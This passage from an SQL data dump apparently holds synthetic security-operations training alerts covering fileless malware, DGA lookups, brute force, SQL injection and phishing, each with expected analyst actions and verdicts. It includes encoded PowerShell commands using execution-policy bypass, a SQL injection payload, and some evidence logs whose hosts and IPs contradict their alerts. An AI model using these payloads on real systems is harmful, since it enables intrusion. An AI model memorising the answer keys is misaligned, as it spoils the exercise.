activities\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"slack.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Legitimate domain used for C2 relay\"}},{\"id\":\"artifact_4\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand JABvAGIAYwBvAGQAZQAgAD0AIABpAGUAYgBhcwBkOGYAYwBhAGQANwA=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Observed in other fileless malware attacks\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Memory-only payloads and C2 communication through Slack indicate a sophisticated attack.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.727Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T02:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"j.doe\\\",\\\"hostname\\\":\\\"CORP-PC-01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand JABvAGIAYwBvAGQAZQAgAD0AIABpAGUAYgBhcwBkOGYAYwBhAGQANwA=\\\",\\\"domain\\\":\\\"slack.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.727Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T02:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"j.doe\\\",\\\"hostname\\\":\\\"CORP-PC-01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand JABvAGIAYwBvAGQAZQAgAD0AIABpAGUAYgBhcwBkOGYAYwBhAGQANwA=\\\",\\\"domain\\\":\\\"slack.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.727Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T02:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"j.doe\\\",\\\"hostname\\\":\\\"CORP-PC-01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand JABvAGIAYwBvAGQAZQAgAD0AIABpAGUAYgBhcwBkOGYAYwBhAGQANwA=\\\",\\\"domain\\\":\\\"slack.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.727Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T02:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"j.doe\\\",\\\"hostname\\\":\\\"CORP-PC-01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand JABvAGIAYwBvAGQAZQAgAD0AIABpAGUAYgBhcwBkOGYAYwBhAGQANwA=\\\",\\\"domain\\\":\\\"slack.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.727Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T02:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"203.0.113.200\\\",\\\"username\\\":\\\"j.doe\\\",\\\"hostname\\\":\\\"CORP-PC-01\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand JABvAGIAYwBvAGQAZQAgAD0AIABpAGUAYgBhcwBkOGYAYwBhAGQANwA=\\\",\\\"domain\\\":\\\"slack.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1025, 'Obfuscated PowerShell Script Detected', 'high', 'SentinelOne', 'An obfuscated PowerShell command was executed, indicative of process hollowing techniques.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-01-17T05:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.15\",\"username\":\"s.smith\",\"hostname\":\"OFFICE-LAPTOP\",\"command_line\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0AYQBtAGkAYgBlAG4AdAAgAFMAZQByAHYAZQByAA==\"}', '2026-01-17 19:11:07', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0AYQBtAGkAYgBlAG4AdAAgAFMAZQByAHYAZQByAA==\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell indicative of process hollowing\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell commands suggests an attempt to evade detection.\"}', 'Expert', 'EDR', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.728Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T05:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"s.smith\\\",\\\"hostname\\\":\\\"OFFICE-LAPTOP\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0AYQBtAGkAYgBlAG4AdAAgAFMAZQByAHYAZQByAA==\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.728Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T05:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"s.smith\\\",\\\"hostname\\\":\\\"OFFICE-LAPTOP\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0AYQBtAGkAYgBlAG4AdAAgAFMAZQByAHYAZQByAA==\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.728Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T05:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"s.smith\\\",\\\"hostname\\\":\\\"OFFICE-LAPTOP\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0AYQBtAGkAYgBlAG4AdAAgAFMAZQByAHYAZQByAA==\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.728Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T05:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"s.smith\\\",\\\"hostname\\\":\\\"OFFICE-LAPTOP\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0AYQBtAGkAYgBlAG4AdAAgAFMAZQByAHYAZQByAA==\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.728Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T05:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"s.smith\\\",\\\"hostname\\\":\\\"OFFICE-LAPTOP\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0AYQBtAGkAYgBlAG4AdAAgAFMAZQByAHYAZQByAA==\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1026, 'DGA Domain Resolution Detected', 'high', 'Splunk', 'Detected DNS resolution attempts to a domain generated by a Domain Generation Algorithm (DGA).', 'Malware', 'T1568.002', 1, 'New', NULL, '{\"timestamp\":\"2026-01-17T08:10:00Z\",\"event_type\":\"dns_query\",\"src_ip\":\"192.168.3.20\",\"username\":\"admin-user\",\"hostname\":\"SERVER-01\",\"domain\":\"x3z9s8d7.example.com\"}', '2026-01-17 19:11:07', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected server\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"x3z9s8d7.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain associated with DGA-based malware campaigns\"}}],\"expected_actions\":[\"block_domain\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"DGA domains are commonly used by malware to evade detection and maintain C2 communication.\"}', 'Expert', 'SIEM', 9, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.730Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T08:10:00Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"admin-user\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"domain\\\":\\\"x3z9s8d7.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.730Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T08:10:00Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"admin-user\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"domain\\\":\\\"x3z9s8d7.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.730Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T08:10:00Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"admin-user\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"domain\\\":\\\"x3z9s8d7.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.730Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T08:10:00Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"admin-user\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"domain\\\":\\\"x3z9s8d7.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.730Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T08:10:00Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.3.20\\\",\\\"username\\\":\\\"admin-user\\\",\\\"hostname\\\":\\\"SERVER-01\\\",\\\"domain\\\":\\\"x3z9s8d7.example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1027, 'Failed Login Attempts from Suspicious Foreign IP', 'medium', 'Splunk', 'Multiple failed login attempts detected from a foreign IP, indicative of a potential brute force attack.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-01-17T09:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.101\",\"username\":\"jdoe\",\"hostname\":\"CORP-DC\",\"failed_attempts\":25}', '2026-01-17 19:11:07', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported for failed login attempts and brute force activity\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user in the organization\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"monitor_login_activity\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Multiple failed login attempts from a suspicious IP can indicate a brute force attempt.\"}', 'Expert', 'SIEM', 9, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.731Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DC\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:31:22.731Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DC\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:30:22.731Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DC\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:29:22.731Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DC\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:28:22.731Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DC\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1028, 'SQL Injection Attempt on Public-Facing Web Server', 'critical', 'Splunk', 'Detected SQL injection payload in web request targeting a public-facing server. Potential data exfiltration risk.', 'Web Attack', 'T1190', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-17T11:00:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"192.168.4.5\",\"username\":\"unknown\",\"hostname\":\"WEB-SERVER-01\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-01-17 19:11:07', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous SQL injection attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.4.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the targeted web server\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Classic SQL injection payload detected\"}}],\"expected_actions\":[\"block_ip\",\"patch_vulnerability\",\"monitor_web_traffic\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"SQL injection attempts can lead to unauthorized data access and exfiltration.\"}', 'Expert', 'SIEM', 9, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.732Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T11:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.4.5\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.732Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T11:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.4.5\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.732Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T11:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.4.5\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.732Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T11:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.4.5\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.732Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T11:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.4.5\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1029, 'Suspicious Email Activity with Spoofed Domain', 'low', 'SentinelOne', 'Email received from a domain that appears to be spoofed, mimicking a legitimate organization.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-01-17T12:15:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.22\",\"dst_ip\":\"192.168.5.10\",\"username\":\"c.jones\",\"hostname\":\"MAIL-SERVER\",\"email_sender\":\"support@micros0ft.com\",\"url\":\"http://malicious-link.com/reset\"}', '2026-01-17 19:11:07', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP has been reported for sending phishing emails\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"support@micros0ft.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Email domain is a known spoof of \'microsoft.com\'\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-link.com/reset\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"URL used in phishing campaigns\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email appeared suspicious due to the spoofed domain but no malicious activity was confirmed.\"}', 'Expert', 'SIEM', 9, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.733Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T12:15:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"192.168.5.10\\\",\\\"username\\\":\\\"c.jones\\\",\\\"hostname\\\":\\\"MAIL-SERVER\\\",\\\"email_sender\\\":\\\"support@micros0ft.com\\\",\\\"url\\\":\\\"http://malicious-link.com/reset\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.733Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T12:15:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"192.168.5.10\\\",\\\"username\\\":\\\"c.jones\\\",\\\"hostname\\\":\\\"MAIL-SERVER\\\",\\\"email_sender\\\":\\\"support@micros0ft.com\\\",\\\"url\\\":\\\"http://malicious-link.com/reset\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.733Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T12:15:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"192.168.5.10\\\",\\\"username\\\":\\\"c.jones\\\",\\\"hostname\\\":\\\"MAIL-SERVER\\\",\\\"email_sender\\\":\\\"support@micros0ft.com\\\",\\\"url\\\":\\\"http://malicious-link.com/reset\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.733Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T12:15:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"192.168.5.10\\\",\\\"username\\\":\\\"c.jones\\\",\\\"hostname\\\":\\\"MAIL-SERVER\\\",\\\"email_sender\\\":\\\"support@micros0ft.com\\\",\\\"url\\\":\\\"http://malicious-link.com/reset\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.733Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T12:15:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"192.168.5.10\\\",\\\"username\\\":\\\"c.jones\\\",\\\"hostname\\\":\\\"MAIL-SERVER\\\",\\\"email_sender\\\":\\\"support@micros0ft.com\\\",\\\"url\\\":\\\"http://malicious-link.com/reset\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
